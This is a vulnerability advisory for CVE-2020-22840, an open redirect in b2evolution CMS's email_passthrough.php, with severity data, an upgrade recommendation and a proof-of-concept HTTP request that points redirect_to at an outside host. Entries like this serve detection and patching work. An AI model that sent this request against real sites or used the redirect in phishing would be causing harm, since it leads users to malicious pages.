| Title | b2evolution CMS <6.11.6 - Open Redirect |
|---|---|
| Author | geeknik |
| Severity | Medium |
| Impact | This vulnerability can be exploited by attackers to trick users into visiting malicious websites, potentially leading to phishing attacks, malware infections, or unauthorized access to sensitive information. |
| Remediation | Upgrade b2evolution CMS to version 6.11.6 or later to mitigate the open redirect vulnerability (CVE-2020-22840). |
| CVSS Score | 6.1 |
| EPSS Score | 0.35339 |
| CVE ID | CVE-2020-22840 |
| CWE ID | CWE-601 |
| Tags | cve cve2020 packetstorm edb redirect b2evolution vuln |
b2evolution CMS before 6.11.6 contains an open redirect vulnerability via the redirect_to parameter in email_passthrough.php. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
GET /email_passthrough.php?email_ID=1&type=link&email_key=5QImTaEHxmAzNYyYvENAtYHsFu7fyotR&redirect_to=http%3A%2F%2Finteract.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (CentOS; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-22840.yaml
🦈 Packet Capture: ⬇️ Download cve-2020-22840.pcap
N/AN/A